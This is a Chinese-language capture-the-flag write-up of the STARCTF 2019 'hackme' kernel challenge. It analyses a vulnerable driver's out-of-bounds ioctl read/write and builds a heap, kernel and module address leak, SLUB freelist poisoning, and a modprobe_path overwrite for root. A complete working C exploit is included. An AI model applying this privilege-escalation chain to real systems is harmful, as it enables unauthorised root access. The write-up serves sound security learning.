【KERNEL PWN】STARCTF 2019 hackme 解题思路

关于官方的wp还没有来得及看,这种方法利用的是越解读写问题导致的权限提升,但感觉竞争条件应该也是可以使用的。

相关代码及脚本下载

漏洞分析

题目实现了一个驱动程序,其中交互接口实现了ioctl函数——hackme_ioctl

数据交互以0x20大小的结构体作为交互接口,数据结构如下:

1
2
3
4
5
6
7
8
9
10
11
00000000 arg             struc ; (sizeof=0x20, mappedto_3)
00000000 ; XREF: hackme_ioctl/r
00000000 idx dq ? ; XREF: hackme_ioctl+46/r
00000000 ; hackme_ioctl:loc_8E/r ...
00000008 user dq ? ; XREF: hackme_ioctl+51/r
00000008 ; hackme_ioctl+99/r ...
00000010 len dq ? ; XREF: hackme_ioctl+4D/r
00000010 ; hackme_ioctl+95/r ...
00000018 offset dq ? ; XREF: hackme_ioctl+49/r
00000018 ; hackme_ioctl+91/r
00000020 arg ends

ioctl程序中根据操作数的不同实现了四类功能:

0x30001 free

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( v3 == 0x30001 )
{
v15 = 2LL * LODWORD(v19.idx);
v16 = pool[v15];
v17 = &pool[v15];
if ( v16 )
{
kfree(v16, v4);
*v17 = 0LL;
return 0LL;
}
return -1LL;
}

0x30002 write

1
2
3
4
5
6
7
8
9
10
11
if ( v3 == 0x30002 )
{
v9 = 2LL * LODWORD(v19.idx);
v10 = pool[v9];
v11 = &pool[v9];
if ( v10 && v19.offset + v19.len <= (unsigned __int64)v11[1] )
{
copy_from_user(v19.offset + v10, v19.user, v19.len);
return 0LL;
}
}

0x30003 read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if ( v3 == 0x30003 )
{
v5 = 2LL * LODWORD(v19.idx);
v6 = pool[v5];
v7 = &pool[v5];
if ( v6 )
{
if ( v19.offset + v19.len <= (unsigned __int64)v7[1] )
{
copy_to_user(v19.user, v19.offset + v6, v19.len);
return 0LL;
}
}
}

0x30000 alloc

1
2
3
4
5
6
7
8
9
10
11
v12 = v19.len;
v13 = v19.user;
v14 = &pool[2 * LODWORD(v19.idx)];
if ( *v14 )
return -1LL;
v18 = _kmalloc(v19.len, 0x6000C0LL);
if ( !v18 )
return -1LL;
*v14 = v18;
copy_from_user(v18, v13, v12);
v14[1] = v12;

其中,程序维护了一个全局数组pool,其第一个成员记录内核堆地址,第二个成员记录堆的大小,位于驱动的.bss段。不难发现,对于这个数组的存取缺少锁的操作,并且内核以多线程启动,很明显存在竞争类漏洞,如释放内存后立刻竞争读写堆块,造成UAF等。

此外,在readwrite功能中存在明显的越界问题:

1
2
3
4
5
6
7
8
9
10
11
if ( v10 && v19.offset + v19.len <= (unsigned __int64)v11[1] )
{
copy_from_user(v19.offset + v10, v19.user, v19.len);
return 0LL;
}

if ( v19.offset + v19.len <= (unsigned __int64)v7[1] )
{
copy_to_user(v19.user, v19.offset + v6, v19.len);
return 0LL;
}

可见,v19.offset为负数时,v19.offset + v19.len可以向上越界读写任意长度的内存。

漏洞利用

可见该漏洞的品相是比较好的,因为可以申请任意大小的内存。

在系统保护层面,开启了kaslrsmepsmap

抛砖引玉

最开始看这题的时候觉得还是比较简单的,如果可以提前喷射大量的cred在申请的内存前的话,通过向前越界读就很容易搜索到cred结构体,然后再通过将cred结构体的uid等值置为0,就可以提权了。但是在实际操作中发现了问题,正如之前WCTF题目中提到的,内核cred分配采用了cred_jar这个新的kmem_cache,与kmalloc使用的kmalloc-xx是隔离的,而且在尝试的过程中发现可以找到分配出来的cred结构体,但是在覆写过程中貌似在内存里存在保护的hole,当调用copy_from_usercred覆写到我们用kmalloc时,会出现kernel panic,提示在写一块non whitelist的内存,这时我们想到如果可以控制驱动模块bss段上的size成员时,就可以局部写,来直接修改结构体了。

强行插入了没有做出来的思路先立个flag,这个cred_jar的坑还没有填上,有空的时候再继续翻翻源码。

地址泄露

投机取巧的方法用不了了,那就找常规的漏洞利用思路吧,由于开启了kaslr包含,就先从各个模块的地址入手。

堆地址

堆地址泄露相对来说容易,因为我们知道一种向上越界读的方法,那么就可在堆上进行构造了。

基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。

那么,通过如下的方法可以很快得到堆地址:

1
2
3
4
5
6
7
8
9
10
11
12
alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);

delete(fd,1);
delete(fd,3);

read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );

在释放1、3以前,pool中的内容:

1
2
3
4
5
6
pwndbg> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0xffff88800017a600 0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700 0x0000000000000100
0xffffffffc0002430: 0xffff88800017a800 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100

释放1、3之后,pool中的内容:

1
2
3
4
5
6
pwndbg> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700 0x0000000000000100
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100

释放的两块堆块中的内容:

1
2
3
4
5
6
7
8
pwndbg> x /6gx 0xffff88800017a600
0xffff88800017a600: 0xffff88800017aa00 0x4141414141414141
0xffff88800017a610: 0x4141414141414141 0x4141414141414141
0xffff88800017a620: 0x4141414141414141 0x4141414141414141
pwndbg> x /6gx 0xffff88800017a800
0xffff88800017a800: 0xffff88800017a600 0x4141414141414141
0xffff88800017a810: 0x4141414141414141 0x4141414141414141
0xffff88800017a820: 0x4141414141414141 0x4141414141414141

可见,利用4号堆块向前越解读就很容易读出堆地址。

内核基址

内核基址的读取需要一点猜测的成分在,可知0号内存0xffff88800017a500之前是已经在用的系统块,那么一定存在一些内核的指针。

1
2
3
4
5
6
7
8
9
read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t *)(mem+0x28)) ;
if ((kernel_addr & 0xfff) != 0xae0){
printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
exit(-1);
}

kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
printf("[+] kernel addr : %16llx\n",kernel_addr );

0号块向前越界搜索,可以发现一个内核地址0xffffffff81849ae0

1
2
3
4
5
pwndbg> x /20gx 0xffff88800017a500-0x200
0xffff88800017a300: 0xffff88800017a378 0x0000000100000000
0xffff88800017a310: 0x0000000000000001 0x0000000000000000
0xffff88800017a320: 0xffff88800017a378 0xffffffff81849ae0
0xffff88800017a330: 0xffffffff81849ae0 0xffff888000015100

而这个内核地址利用/proc/kallsyms可以很容易发现属于一个固定函数sysctl_table_root

1
2
/home/pwn # cat /proc/kallsyms | grep ffffffff81849ae0
ffffffff81849ae0 d sysctl_table_root

模块地址

glibc中的fastbin attack常用的方法是劫持fd指针,多次分配后达到任意地址读写的目的。在slub中也可以这样来做。

想要劫持fd指针,可以通过设置offset为负的方式来修改空闲堆块的指针。

要修改到哪里是一个问题,利用已有的内核地址,可以找到一个包含模块指针的内存位置——mod_tree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/home/pwn # cat /proc/kallsyms | grep mod_tree
ffffffff8106df00 t __mod_tree_remove
ffffffff8106e720 t __mod_tree_insert
ffffffff81811000 d mod_tree
/home/pwn # cat /proc/kallsyms | grep hackme
ffffffffc0000000 t hackme_ioctl [hackme]
ffffffffc0002000 d misc [hackme]
ffffffffc0002060 d fops [hackme]
ffffffffc0001068 r _note_6 [hackme]
ffffffffc0002400 b pool [hackme]
ffffffffc0002180 d __this_module [hackme]
ffffffffc0000190 t cleanup_module [hackme]
ffffffffc0000170 t init_module [hackme]
ffffffffc0000190 t hackme_exit [hackme]
ffffffffc0000170 t hackme_init [hackme]
1
2
3
4
5
6
7
8
9
pwndbg>  x /20gx 0xffffffff81811000
0xffffffff81811000: 0x0000000000000006 0xffffffffc0002320
0xffffffff81811010: 0xffffffffc0002338 0xffffffffc0000000
0xffffffff81811020: 0xffffffffc0006000 0x0000000000000000
0xffffffff81811030: 0x0000000000000000 0x0000000000000000
0xffffffff81811040: 0xffffffff81811040 0xffffffff81811040
0xffffffff81811050: 0xffffffff81811050 0xffffffff81811050
0xffffffff81811060: 0xffffffff81811060 0xffffffff81811060
0xffffffff81811070: 0xffffffff81811070 0xffffffff81811070

溢出修改fd以后,可以发现原有第3块内存变为:

1
2
3
4
pwndbg> x /10gx 0xffff88800017a800
0xffff88800017a800: 0xffffffff81811040 0x4141414141414141
0xffff88800017a810: 0x4141414141414141 0x4141414141414141
0xffff88800017a820: 0x4141414141414141 0x4141414141414141

连续alloc两次以后可以拿到内核地址。

1
2
3
4
5
6
7
8
pwndbg> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700 0x0000000000000100
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100
0xffffffffc0002450: 0xffff88800017a800 0x0000000000000100
0xffffffffc0002460: 0xffffffff81811040 0x0000000000000100

此时,我们就可以得到内核模块hackme的基址了。其中在修改时尽量用负数越界读的方法泄露地址,防止复制毁坏数据。

1
2
3
4
5
6
7
8
9
memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);

read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr = *((size_t *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );

内存任意写

当泄露了内核基址以后,利用同样的方法,我们可以将保持堆地址大小及堆地址的.bss段上的pool申请下来。

1
2
3
4
5
6
7
delete(fd,2);
delete(fd,5);

*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool

可见,在第8块,我们拿到了自己本身的地址。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100
0xffffffffc0002420: 0x0000000000000000 0x0000000000000100
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100
0xffffffffc0002450: 0x0000000000000000 0x0000000000000100
0xffffffffc0002460: 0xffffffff81811040 0x0000000000000100
0xffffffffc0002470: 0xffff88800017a800 0x0000000000000100
0xffffffffc0002480: 0xffffffffc00024c0 0x0000000000000100
0xffffffffc0002490: 0x0000000000000000 0x0000000000000000

这样一个交叠的结构,可以使我们向pool项中增加任意想写的地址和大小,造成任意地址写。

权限提升

以上就解决了我们在抛砖引玉章节提出的控制写长度的问题了。在这个部分以后,提升权限的方法有很多,可以参考之前写过的【KERNEL PWN】从内存任意读写到权限提升一文。

在翻wp的过程中,发现一种很有意思的解法,通过任意写修改modprobe_path内容,利用一个非正确格式的ELF文件触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*((size_t *)(mem+0x8)) = 0x100; 
*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
write_to_kernel(fd,8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

起初依稀记得哪里用到过,后来发现依然来源于dong-hoon you (x82)New Reliable Android Kernel Root Exploitation Techniques,和之前写过的修改poweroff_cmd异曲同工。

最终结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─[p4nda@ubuntu] - [~/Desktop/pwn/hackme] - [Wed May 01, 06:36]
└─[$] <> ./startvm.sh

# # #### ##### ######
# # # # # #
### ### # # #####
# # # # #
# # # # # #
#### # #

~ $ id
uid=1000(pwn) gid=1000 groups=1000
~ $ cat /f
flag fs.sh
~ $ cat /flag
cat: can't open '/flag': Permission denied
~ $ ./exp
[+] heap addr : ffffa1d70017a600
[+] kernel addr : ffffffffb1e00000
[+] mod addr : ffffffffc00fc000
/home/pwn/dummy: line 1: ����: not found
*CTF{test}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002

struct arg
{
size_t idx;
void *addr;
long long len;
long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
struct arg cmd;
cmd.idx = idx;
ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,READ,&cmd);
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,WRITE,&cmd);
}

void print_hex( char *buf,int size){
int i;
puts("======================================");
printf("data :\n");
for (i=0 ; i<(size/8);i++){
if (i%2 == 0){
printf("%d",i/2);
}
printf(" %16llx",*(size_t * )(buf + i*8));
if (i%2 == 1){
printf("\n");
}
}
puts("======================================");
}

int main(){
int fd = open("/dev/hackme", 0);
char *mem = malloc(0x1000);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
memset(mem,'A',0x100);
alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);


delete(fd,1);
delete(fd,3);


read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t *)(mem+0x28)) ;
if ((kernel_addr & 0xfff) != 0xae0){
printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
exit(-1);
}

kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
printf("[+] kernel addr : %16llx\n",kernel_addr );

memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);

alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);

read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr = *((size_t *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );

delete(fd,2);
delete(fd,5);

*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool

//*((size_t *)mem) = (0x83f480 + kernel_addr ); //poweroff_cmd
*((size_t *)(mem+0x8)) = 0x100;
*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
write_to_kernel(fd,8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");
}

Reference

[1] https://kileak.github.io/ctf/2019/xctf-hackme/

[2] https://github.com/perfectblue/ctf-writeups/tree/master/midnightsun-ctf-2019-quals/HFSIPC

[3] New Reliable Android Kernel Root Exploitation Techniques: http://t.cn/Rftu7Dn

文章目录
  1. 1. 漏洞分析
  2. 2. 漏洞利用
    1. 2.1. 抛砖引玉
    2. 2.2. 地址泄露
      1. 2.2.1. 堆地址
      2. 2.2.2. 内核基址
      3. 2.2.3. 模块地址
    3. 2.3. 内存任意写
    4. 2.4. 权限提升
  3. 3. EXP
  4. 4. Reference
|